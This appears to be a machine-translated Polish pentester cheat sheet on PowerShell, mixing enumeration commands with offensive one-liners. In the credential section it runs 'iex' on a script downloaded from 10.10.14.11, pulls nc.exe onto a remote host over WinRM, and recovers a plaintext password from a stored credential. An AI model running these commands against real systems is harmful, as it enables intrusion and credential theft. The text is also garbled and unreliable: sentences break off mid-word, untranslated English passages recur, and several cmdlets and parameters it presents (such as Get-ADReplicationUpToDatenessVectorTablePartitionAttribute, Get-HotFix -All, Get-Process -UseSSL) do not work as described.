Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionAttribute

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionAttribute pozwala na pobranie tabeli atrybutów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartitionAttribute

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionValue

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionValue pozwala na pobranie tabeli wartości partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartitionValue

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionSite

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionSite pozwala na pobranie tabeli witryn partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartitionSite

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionServer

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionServer pozwala na pobranie tabeli serwerów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartitionServer

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionNamingContext

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionNamingContext pozwala na pobranie tabeli kontekstów nazw partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartitionNamingContext

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionObjectLink pozwala na pobranie tabeli połączeń obiektów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartitionObjectLink

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionAttributeLink pozwala na pobranie tabeli połączeń atrybutów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartitionAttributeLink

Polecenie `Get-AD

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Wersja systemu operacyjnego i poprawki

Aby uzyskać informacje o wersji systemu operacyjnego i zainstalowanych poprawkach, możemy użyć następującego polecenia w PowerShell:

(Get-WmiObject -Class Win32_OperatingSystem).Caption

Ten kod zwróci nazwę i wersję systemu operacyjnego.

Aby uzyskać informacje o zainstalowanych poprawkach, możemy użyć polecenia:

Get-HotFix

To polecenie wyświetli listę zainstalowanych poprawek wraz z ich identyfikatorami, opisami i datami instalacji.

Pamiętaj, że niektóre poprawki mogą być ukryte lub nie wyświetlać się w wynikach. Aby uzyskać pełną listę poprawek, możemy użyć polecenia:

Get-HotFix -All

To polecenie wyświetli wszystkie poprawki, w tym te ukryte.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Środowisko


Basic PowerShell for Pentesters


Podstawy PowerShell dla pentesterów


This section covers some basic PowerShell commands and techniques that can be useful for pentesters during their engagements. It is important to have a good understanding of PowerShell as it is a powerful scripting language that can be used for various purposes, including offensive security.


Ta sekcja omawia podstawowe polecenia i techniki PowerShell, które mogą być przydatne dla pentesterów podczas ich zadań. Ważne jest, aby dobrze zrozumieć PowerShell, ponieważ jest to potężny język skryptowy, który może być używany do różnych celów, w tym do bezpieczeństwa ofensywnego.


PowerShell Basics


Podstawy PowerShell


Running PowerShell Commands


Wykonywanie poleceń PowerShell


PowerShell commands can be executed in a number of ways. The most common way is to open a PowerShell console and type the command directly. Another way is to run a PowerShell script file that contains the desired commands. Additionally, PowerShell commands can also be executed from within other scripting languages such as Python or batch files.


Polecenia PowerShell można wykonywać na kilka sposobów. Najczęstszym sposobem jest otwarcie konsoli PowerShell i wpisanie polecenia bezpośrednio. Innym sposobem jest uruchomienie pliku skryptu PowerShell, który zawiera żądane polecenia. Dodatkowo, polecenia PowerShell można również wykonywać z innych języków skryptowych, takich jak Python lub pliki wsadowe.


Getting Help


Uzyskiwanie pomocy


PowerShell provides a built-in help system that can be used to get information about commands, modules, and other PowerShell features. The Get-Help command is used to access the help system. For example, to get help on a specific command, you can use the following syntax:

Get-Help <command>

PowerShell udostępnia wbudowany system pomocy, który można używać do uzyskiwania informacji o poleceniach, modułach i innych funkcjach PowerShell. Polecenie Get-Help służy do uzyskiwania dostępu do systemu pomocy. Na przykład, aby uzyskać pomoc dotyczącą konkretnego polecenia, można użyć następującej składni:

Get-Help <polecenie>

Running PowerShell Scripts


Wykonywanie skryptów PowerShell


PowerShell scripts are text files that contain a series of PowerShell commands. These scripts can be executed by running the .\ followed by the script file name. For example, if the script file is named script.ps1, you can run it using the following syntax:

.\script.ps1

Skrypty PowerShell to pliki tekstowe zawierające serię poleceń PowerShell. Skrypty te można uruchomić, uruchamiając .\ a następnie nazwę pliku skryptu. Na przykład, jeśli plik skryptu ma nazwę skrypt.ps1, można go uruchomić, używając następującej składni:

.\skrypt.ps1

PowerShell Execution Policy


Polityka wykonywania PowerShell


PowerShell has an execution policy that determines whether scripts can be run and what types of scripts are allowed. The execution policy can be set to one of the following values:

  • Restricted: No scripts are allowed to run.
  • AllSigned: Only scripts signed by a trusted publisher are allowed to run.
  • RemoteSigned: Scripts downloaded from the internet must be signed by a trusted publisher, but local scripts can run without a signature.
  • Unrestricted: All scripts can run, regardless of their signature.

To check the current execution policy, you can use the following command:

Get-ExecutionPolicy

To change the execution policy, you can use the following command:

Set-ExecutionPolicy <policy>

PowerShell ma politykę wykonywania, która określa, czy skrypty mogą być uruchamiane i jakie rodzaje skryptów są dozwolone. Polityka wykonywania może mieć jedną z następujących wartości:

  • Restricted: Nie można uruchamiać żadnych skryptów.
  • AllSigned: Tylko skrypty podpisane przez zaufanego wydawcę są dozwolone do uruchomienia.
  • RemoteSigned: Skrypty pobrane z internetu muszą być podpisane przez zaufanego wydawcę, ale lokalne skrypty mogą być uruchamiane bez podpisu.
  • Unrestricted: Wszystkie skrypty mogą być uruchamiane, niezależnie od ich podpisu.

Aby sprawdzić bieżącą politykę wykonywania, można użyć następującego polecenia:

Get-ExecutionPolicy

Aby zmienić politykę wykonywania, można użyć następującego polecenia:

Set-ExecutionPolicy <polityka>

PowerShell Modules


Moduły PowerShell


PowerShell modules are collections of cmdlets, functions, and scripts that can be used to extend the functionality of PowerShell. Modules can be imported into a PowerShell session using the Import-Module command. Once a module is imported, its cmdlets, functions, and scripts can be used just like any other PowerShell command.

To import a module, you can use the following command:

Import-Module <module>

To list all imported modules, you can use the following command:

Get-Module

Moduły PowerShell to zbiory cmdletów, funkcji i skryptów, które można używać do rozszerzania funkcjonalności PowerShell. Moduły można importować do sesji PowerShell za pomocą polecenia Import-Module. Po zaimportowaniu modułu, jego cmdlety, funkcje i skrypty można używać tak samo jak dowolne inne polecenie PowerShell.

Aby zaimportować moduł, można użyć następującego polecenia:

Import-Module <moduł>

Aby wyświetlić listę wszystkich zaimportowanych modułów, można użyć następującego polecenia:

Get-Module

PowerShell Techniques


Techniki PowerShell


Command Execution


Wykonywanie poleceń


PowerShell can be used to execute commands on a remote system using various techniques. One common technique is to use the Invoke-Command cmdlet, which allows you to run commands on remote systems that have PowerShell remoting enabled. For example, to execute a command on a remote system, you can use the following syntax:

Invoke-Command -ComputerName <computer> -ScriptBlock { <command> }

PowerShell może być używany do wykonywania poleceń na zdalnym systemie za pomocą różnych technik. Jedną z popularnych technik jest użycie polecenia Invoke-Command, które umożliwia uruchamianie poleceń na zdalnych systemach, na których jest włączone zdalne zarządzanie PowerShell. Na przykład, aby wykonać polecenie na zdalnym systemie, można użyć następującej składni:

Invoke-Command -ComputerName <komputer> -ScriptBlock { <polecenie> }

File Operations


Operacje na plikach


PowerShell provides a number of cmdlets that can be used to perform file operations such as creating, copying, moving, and deleting files. Some of the commonly used cmdlets for file operations include New-Item, Copy-Item, Move-Item, and Remove-Item. For example, to create a new file, you can use the following syntax:

New-Item -Path <path> -ItemType File

PowerShell udostępnia wiele cmdletów, które można używać do wykonywania operacji na plikach, takich jak tworzenie, kopiowanie, przenoszenie i usuwanie plików. Niektóre z często używanych cmdletów do operacji na plikach to New-Item, Copy-Item, Move-Item i Remove-Item. Na przykład, aby utworzyć nowy plik, można użyć następującej składni:

New-Item -Path <ścieżka> -ItemType File

Registry Operations


Operacje na rejestrze


PowerShell can also be used to perform operations on the Windows registry. The Get-Item, Set-Item, and Remove-Item cmdlets can be used to retrieve, modify, and delete registry keys and values. For example, to get the value of a registry key, you can use the following syntax:

Get-Item -Path <path>

PowerShell może również być używany do wykonywania operacji na rejestrze systemu Windows. Do pobierania, modyfikowania i usuwania kluczy i wartości rejestru można używać cmdletów Get-Item, Set-Item i Remove-Item. Na przykład, aby pobrać wartość klucza rejestru, można użyć następującej składni:

Get-Item -Path <ścieżka>

Network Operations


Operacje sieciowe


PowerShell can be used to perform various network operations such as pinging a remote host, resolving hostnames to IP addresses, and retrieving information about network interfaces. The Test-Connection, Resolve-DnsName, and Get-NetAdapter cmdlets can be used for these purposes. For example, to ping a remote host, you can use the following syntax:

Test-Connection -ComputerName <host>

PowerShell może być używany do wykonywania różnych operacji sieciowych, takich jak pingowanie zdalnego hosta, rozwiązywanie nazw hostów na adresy IP i pobieranie informacji o interfejsach sieciowych. Do tego celu można używać cmdletów Test-Connection, Resolve-DnsName i Get-NetAdapter. Na przykład, aby wykonać ping zdalnego hosta, można użyć następującej składni:

Test-Connection -ComputerName <host>

Process Management


Zarządzanie procesami


PowerShell provides cmdlets that can be used to manage processes running on a system. The Get-Process, Start-Process, and Stop-Process cmdlets can be used to retrieve information about running processes, start new processes, and stop running processes, respectively. For example, to get a list of running processes, you can use the following command:

Get-Process

PowerShell udostępnia cmdlety, które można używać do zarządzania procesami uruchomionymi na systemie. Do pobierania informacji o uruchomionych procesach, uruchamiania nowych procesów i zatrzymywania uruchomionych procesów można używać cmdletów Get-Process, Start-Process i Stop-Process odpowiednio. Na przykład, aby uzyskać listę uruchomionych procesów, można użyć następującego polecenia:

Get-Process

User Management


Zarządzanie użytkownikami


PowerShell can be used to manage user accounts on a Windows system. The Get-LocalUser, New-LocalUser, Set-LocalUser, and Remove-LocalUser cmdlets can be used to retrieve information about local users, create new local users, modify existing local users, and remove local users, respectively. For example, to create a new local user, you can use the following syntax:

New-LocalUser -Name <name> -Password (ConvertTo-SecureString -String <password> -AsPlainText -Force)

PowerShell może być używany do zarządzania kontami użytkowników w systemie Windows. Do pobierania informacji o lokalnych użytkownikach, tworzenia nowych lokalnych użytkowników, modyfikowania istniejących lokalnych użytkowników i usuwania lokalnych użytkowników można używać cmdletów Get-LocalUser, New-LocalUser, Set-LocalUser i Remove-LocalUser odpowiednio. Na przykład, aby utworzyć nowego lokalnego użytkownika, można użyć następującej składni:

New-LocalUser -Name <nazwa> -Password (ConvertTo-SecureString -String <hasło> -AsPlainText -Force)

Service Management


Zarządzanie usługami


PowerShell can be used to manage services running on a Windows system. The Get-Service, Start-Service, Stop-Service, and Restart-Service cmdlets can be used to retrieve information about services, start services, stop services, and restart services, respectively. For example, to get a list of running services, you can use the following command:

Get-Service

PowerShell może być używany do zarządzania usługami uruchomionymi na systemie Windows. Do pobierania informacji o usługach, uruchamiania usług, zatrzymywania usług i ponownego uruchamiania usług można używać cmdletów Get-Service, Start-Service, Stop-Service i Restart-Service odpowiednio. Na przykład, aby uzyskać listę uruchomionych usług, można użyć następującego polecenia:

Get-Service

Event Log Management


Zarządzanie dziennikami zdarzeń


PowerShell can be used to manage event logs on a Windows system. The Get-EventLog, New-EventLog, Remove-EventLog, and Clear-EventLog cmdlets can be used to retrieve information about event logs, create new event logs, remove event logs, and clear event logs, respectively. For example, to get a list of available event logs, you can use the following command:

Get-EventLog -List

PowerShell może być używany do zarządzania dziennikami zdarzeń w systemie Windows. Do pobierania informacji o dziennikach zdarzeń, tworzenia nowych dzienników zdarzeń, usuwania dzienników zdarzeń i czyszczenia dzienników zdarzeń można używać cmdletów Get-EventLog, New-EventLog, Remove-EventLog i Clear-EventLog odpowiednio. Na przykład, aby uzyskać listę dostępnych dzienników zdarzeń, można użyć następującego polecenia:

Get-EventLog -List

System Information


Informacje o systemie


PowerShell can be used to retrieve information about the Windows system. The Get-WmiObject, Get-ComputerInfo, and Get-CimInstance cmdlets can be used to retrieve various system information such as hardware details, operating system information, and network configuration. For example, to get the operating system information, you can use the following command:

Get-WmiObject -Class Win32_OperatingSystem

PowerShell może być używany do pobierania informacji o systemie Windows. Do pobierania różnych informacji o systemie, takich jak szczegóły sprzętu, informacje o systemie operacyjnym i konfiguracja sieci, można używać cmdletów Get-WmiObject, Get-ComputerInfo i Get-CimInstance. Na przykład, aby uzyskać informacje o systemie operacyjnym, można użyć następującego polecenia:

Get-WmiObject -Class Win32_OperatingSystem

PowerShell Remoting


Zdalne zarządzanie PowerShell


PowerShell remoting allows you to run PowerShell commands on remote systems. To enable PowerShell remoting on a system, you can use the Enable-PSRemoting cmdlet. Once remoting is enabled, you can use the Enter-PSSession cmdlet to establish a remote PowerShell session with a remote system. For example, to enter a remote session, you can use the following command:

Enter-PSSession -ComputerName <computer>

Zdalne zarządzanie PowerShell umożliwia uruchamianie poleceń PowerShell na zdalnych systemach. Aby włączyć zdalne zarządzanie PowerShell na systemie, można użyć cmdletu Enable-PSRemoting. Po włączeniu zdalnego zarządzania można użyć cmdletu `

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Inne podłączone dyski

When conducting a penetration test on a Windows system, it is important to gather information about other connected drives. This can help in identifying potential vulnerabilities and accessing sensitive data.

PowerShell Command

To retrieve information about other connected drives, you can use the following PowerShell command:

Get-PSDrive -PSProvider 'FileSystem' | Where-Object {$_.Root -ne $null} | Select-Object Name, Root, Used, Free

This command uses the Get-PSDrive cmdlet to retrieve all drives connected to the system. The Where-Object cmdlet filters out drives with a null root, which typically indicates network or virtual drives. The Select-Object cmdlet is used to display the name, root, used space, and free space of the drives.

Example Output

Here is an example output of the PowerShell command:

Name Root Used  Free
---- ---- ----  ----
C    C:\  100GB 50GB
D    D:\  200GB 100GB

This output shows that there are two connected drives: C: and D:. The C: drive has 100GB used and 50GB free space, while the D: drive has 200GB used and 100GB free space.

By gathering information about other connected drives, you can gain a better understanding of the system's storage configuration and potentially discover additional attack vectors or sensitive data.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Kosz

Kosz to specjalny folder w systemie Windows, w którym przechowywane są usunięte pliki i foldery. Domyślnie, gdy plik jest usunięty, trafia on do kosza, zamiast natychmiastowo zostawać trwale usuniętym z systemu. Kosz umożliwia przywrócenie usuniętych plików, jeśli zostaną one przypadkowo usunięte lub jeśli użytkownik zmieni zdanie.

W celu przywrócenia pliku z kosza, wystarczy otworzyć kosz, znaleźć żądany plik i kliknąć opcję przywrócenia. Plik zostanie automatycznie przeniesiony z powrotem do swojego pierwotnego miejsca.

Warto zauważyć, że kosz ma ograniczoną pojemność, co oznacza, że jeśli przekroczy on określony rozmiar, najstarsze pliki zostaną automatycznie usunięte, aby zrobić miejsce dla nowych. Można również trwale usunąć pliki z kosza, aby zwolnić miejsce na dysku.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/zarzadzanie-koszem-recyklingowym-z-powershell/

Rozpoznanie domeny

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

Użytkownicy

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Bezpieczny ciąg znaków na tekst jawny

Aby przekształcić bezpieczny ciąg znaków na tekst jawny w PowerShell, możesz użyć poniższego kodu:

$secureString = ConvertTo-SecureString -String "BezpieczneHasło" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

W powyższym kodzie, zmienna $secureString przechowuje bezpieczny ciąg znaków, który jest przekształcany na tekst jawny przy użyciu metody ConvertTo-SecureString. Następnie, za pomocą metody [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR, bezpieczny ciąg znaków jest konwertowany na wskaźnik do tekstu jawny, który jest następnie przekształcany na tekst jawny za pomocą metody [System.Runtime.InteropServices.Marshal]::PtrToStringAuto.

Pamiętaj, że przekształcenie bezpiecznego ciągu znaków na tekst jawny może być niebezpieczne i powinno być stosowane tylko wtedy, gdy jest to absolutnie konieczne.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Lub bezpośrednio analizując XML:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

SUDO to polecenie w systemach Unix, które umożliwia użytkownikom wykonanie komend jako inny użytkownik, zazwyczaj jako root. W systemach Windows nie ma wbudowanej funkcji SUDO, ale można osiągnąć podobne efekty za pomocą PowerShell.

Wykorzystanie PowerShell do symulowania SUDO

PowerShell umożliwia uruchamianie komend jako administrator, co daje podobne uprawnienia jak SUDO w systemach Unix. Aby to zrobić, należy uruchomić PowerShell z uprawnieniami administratora i użyć polecenia Start-Process do uruchomienia komendy jako inny użytkownik.

Start-Process -FilePath "cmd.exe" -Verb RunAs

Powyższe polecenie uruchomi wiersz polecenia jako administrator. Można również użyć innych programów, zamiast cmd.exe, aby uruchomić dowolną komendę jako administrator.

Wykorzystanie PowerShell do uruchamiania komend jako inni użytkownicy

PowerShell umożliwia również uruchamianie komend jako inni użytkownicy bez konieczności posiadania uprawnień administratora. Można to osiągnąć za pomocą polecenia Start-Process i parametru -Credential, który pozwala na podanie poświadczeń innego użytkownika.

$securePassword = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("domain\username", $securePassword)
Start-Process -FilePath "cmd.exe" -Credential $credential

Powyższy przykład uruchamia wiersz polecenia jako użytkownik domain\username z podanym hasłem. Można również użyć innych programów, zamiast cmd.exe, aby uruchomić dowolną komendę jako inny użytkownik.

Podsumowanie

Chociaż Windows nie ma wbudowanej funkcji SUDO, można osiągnąć podobne efekty za pomocą PowerShell. Można uruchamiać komendy jako administrator lub jako inni użytkownicy, używając odpowiednich poleceń i parametrów.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Grupy

Grupy w systemie Windows są kolekcjami użytkowników, które mają wspólne uprawnienia i dostęp do zasobów systemowych. Grupy są używane do zarządzania uprawnieniami i kontroli dostępu w systemie.

Tworzenie grupy

Aby utworzyć nową grupę w systemie Windows, możesz użyć polecenia PowerShell New-LocalGroup. Poniżej znajduje się przykład:

New-LocalGroup -Name "NazwaGrupy"

Dodawanie użytkowników do grupy

Aby dodać użytkownika do istniejącej grupy w systemie Windows, możesz użyć polecenia PowerShell Add-LocalGroupMember. Poniżej znajduje się przykład:

Add-LocalGroupMember -Group "NazwaGrupy" -Member "NazwaUżytkownika"

Usuwanie grupy

Aby usunąć grupę z systemu Windows, możesz użyć polecenia PowerShell Remove-LocalGroup. Poniżej znajduje się przykład:

Remove-LocalGroup -Name "NazwaGrupy"

Wyświetlanie informacji o grupie

Aby wyświetlić informacje o konkretnej grupie w systemie Windows, możesz użyć polecenia PowerShell Get-LocalGroup. Poniżej znajduje się przykład:

Get-LocalGroup -Name "NazwaGrupy"

Wyświetlanie członków grupy

Aby wyświetlić członków konkretnej grupy w systemie Windows, możesz użyć polecenia PowerShell Get-LocalGroupMember. Poniżej znajduje się przykład:

Get-LocalGroupMember -Group "NazwaGrupy"

Zmiana nazwy grupy

Aby zmienić nazwę grupy w systemie Windows, możesz użyć polecenia PowerShell Rename-LocalGroup. Poniżej znajduje się przykład:

Rename-LocalGroup -Name "StaraNazwaGrupy" -NewName "NowaNazwaGrupy"

Zmiana opisu grupy

Aby zmienić opis grupy w systemie Windows, możesz użyć polecenia PowerShell Set-LocalGroup. Poniżej znajduje się przykład:

Set-LocalGroup -Name "NazwaGrupy" -Description "NowyOpisGrupy"
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Schowek

The clipboard is a temporary storage area in the computer's memory that allows you to copy and paste text, images, and other data between different applications or within the same application. It is commonly used for tasks such as copying text from a website and pasting it into a document.

In the context of PowerShell, the clipboard can be accessed and manipulated using the Get-Clipboard and Set-Clipboard cmdlets. These cmdlets allow you to retrieve the contents of the clipboard or set new content onto it, respectively.

Getting the Clipboard Contents

To retrieve the contents of the clipboard, you can use the Get-Clipboard cmdlet. This cmdlet returns the data stored in the clipboard as a string, which can then be further processed or displayed.

$clipboardContents = Get-Clipboard

Setting the Clipboard Contents

To set new content onto the clipboard, you can use the Set-Clipboard cmdlet. This cmdlet takes a string as input and sets it as the new content of the clipboard.

Set-Clipboard -Value "This is the new clipboard content"

Clearing the Clipboard

If you want to clear the contents of the clipboard, you can use the Clear-Clipboard cmdlet. This cmdlet removes all data from the clipboard, making it empty.

Clear-Clipboard

Using the Clipboard in PowerShell Scripts

The clipboard can be useful in PowerShell scripts for tasks such as automating data manipulation or interacting with other applications. For example, you can copy data from a file and paste it into a web form using the clipboard.

# Copy file contents to clipboard
$fileContents = Get-Content -Path "C:\path\to\file.txt"
$fileContents | Set-Clipboard

# Paste clipboard contents into web form
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Navigate("https://example.com/form")
while ($ie.Busy) { Start-Sleep -Milliseconds 100 }
$ie.Document.GetElementById("inputField").Value = Get-Clipboard

By leveraging the clipboard functionality in PowerShell, you can enhance your scripting capabilities and automate various tasks that involve data transfer between different sources.

Get-Clipboard

Procesy

W systemie Windows procesy są jednym z podstawowych elementów, które można monitorować i kontrolować. Procesy to działające programy lub aplikacje, które wykonują określone zadania. W tym rozdziale omówimy podstawowe techniki związane z procesami w PowerShell.

Wyświetlanie procesów

Aby wyświetlić listę wszystkich procesów działających w systemie, możemy użyć polecenia Get-Process. Polecenie to zwraca informacje takie jak identyfikator procesu (PID), nazwa procesu, zużycie pamięci i inne szczegóły.

Get-Process

Wyświetlanie szczegółowych informacji o procesie

Aby uzyskać bardziej szczegółowe informacje o konkretnym procesie, możemy użyć polecenia Get-Process z parametrem -Id i podać identyfikator procesu (PID) jako argument.

Get-Process -Id <PID>

Zabijanie procesu

Aby zakończyć działanie procesu, możemy użyć polecenia Stop-Process z parametrem -Id i podać identyfikator procesu (PID) jako argument.

Stop-Process -Id <PID>

Uruchamianie nowego procesu

Aby uruchomić nowy proces, możemy użyć polecenia Start-Process i podać ścieżkę do pliku wykonywalnego jako argument.

Start-Process -FilePath <ścieżka_do_pliku>

Uruchamianie procesu z uprawnieniami administratora

Aby uruchomić proces z uprawnieniami administratora, możemy użyć polecenia Start-Process z parametrem -Verb RunAs.

Start-Process -FilePath <ścieżka_do_pliku> -Verb RunAs

Uruchamianie procesu w tle

Aby uruchomić proces w tle, bez wyświetlania okna, możemy użyć polecenia Start-Process z parametrem -WindowStyle Hidden.

Start-Process -FilePath <ścieżka_do_pliku> -WindowStyle Hidden

Uruchamianie procesu z argumentami

Aby uruchomić proces z określonymi argumentami, możemy użyć polecenia Start-Process z parametrem -ArgumentList i podać argumenty jako tablicę.

Start-Process -FilePath <ścieżka_do_pliku> -ArgumentList <argumenty>

Uruchamianie procesu w określonym katalogu

Aby uruchomić proces w określonym katalogu, możemy użyć polecenia Start-Process z parametrem -WorkingDirectory i podać ścieżkę do katalogu jako argument.

Start-Process -FilePath <ścieżka_do_pliku> -WorkingDirectory <ścieżka_do_katalogu>

Wyświetlanie procesów dla określonego użytkownika

Aby wyświetlić procesy dla określonego użytkownika, możemy użyć polecenia Get-Process z parametrem -IncludeUserName i podać nazwę użytkownika jako argument.

Get-Process -IncludeUserName -UserName <nazwa_użytkownika>

Wyświetlanie procesów dla określonego portu

Aby wyświetlić procesy, które nasłuchują na określonym porcie, możemy użyć polecenia Get-Process z parametrem -Id i podać numer portu jako argument.

Get-Process -Id (Get-NetTCPConnection -LocalPort <numer_portu>).OwningProcess

Wyświetlanie procesów dla określonego pliku

Aby wyświetlić procesy, które używają określonego pliku, możemy użyć polecenia Get-Process z parametrem -Id i podać ścieżkę do pliku jako argument.

Get-Process -Id (Get-Process -Module <ścieżka_do_pliku>).Id

Wyświetlanie procesów dla określonego klucza rejestru

Aby wyświetlić procesy, które używają określonego klucza rejestru, możemy użyć polecenia Get-Process z parametrem -Id i podać ścieżkę do klucza rejestru jako argument.

Get-Process -Id (Get-Process -Module (Get-ItemProperty -Path <ścieżka_do_klucza_rejestru>).PSPath).Id

Wyświetlanie procesów dla określonego serwisu

Aby wyświetlić procesy, które są powiązane z określonym serwisem, możemy użyć polecenia Get-Process z parametrem -Id i podać nazwę serwisu jako argument.

Get-Process -Id (Get-WmiObject -Class Win32_Service | Where-Object {$_.Name -eq "<nazwa_serwisu>"}).ProcessId

Wyświetlanie procesów dla określonego użytkownika zdalnego

Aby wyświetlić procesy dla określonego użytkownika zdalnego, możemy użyć polecenia Get-Process z parametrem -ComputerName i podać nazwę komputera zdalnego jako argument.

Get-Process -ComputerName <nazwa_komputera_zdalnego>

Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem

Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem, możemy użyć polecenia Get-Process z parametrami -ComputerName, -Credential i podać nazwę komputera zdalnego oraz poświadczenia jako argumenty.

Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia>

Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i szyfrowaniem

Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i szyfrowaniem, możemy użyć polecenia Get-Process z parametrami -ComputerName, -Credential i -UseSSL i podać nazwę komputera zdalnego, poświadczenia oraz użyć szyfrowania jako argumenty.

Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -UseSSL

Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami

Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami, możemy użyć polecenia Get-Process z parametrami -ComputerName, -Credential i -Authentication i podać nazwę komputera zdalnego, poświadczenia oraz wybrać metodę uwierzytelniania jako argumenty.

Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania>

Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem

Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem, możemy użyć polecenia Get-Process z parametrami -ComputerName, -Credential, -Authentication i -UseSSL i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania oraz użyć szyfrowania jako argumenty.

Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL

Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem

Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem, możemy użyć polecenia Get-Process z parametrami -ComputerName, -Credential, -Authentication, -UseSSL i -Port i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania, użyć szyfrowania oraz numer portu jako argumenty.

Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL -Port <numer_portu>

Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem

Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem, możemy użyć polecenia Get-Process z parametrami -ComputerName, -Credential, -Authentication, -UseSSL, -Port i -Protocol i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania, użyć szyfrowania, numer portu oraz protokół jako argumenty.

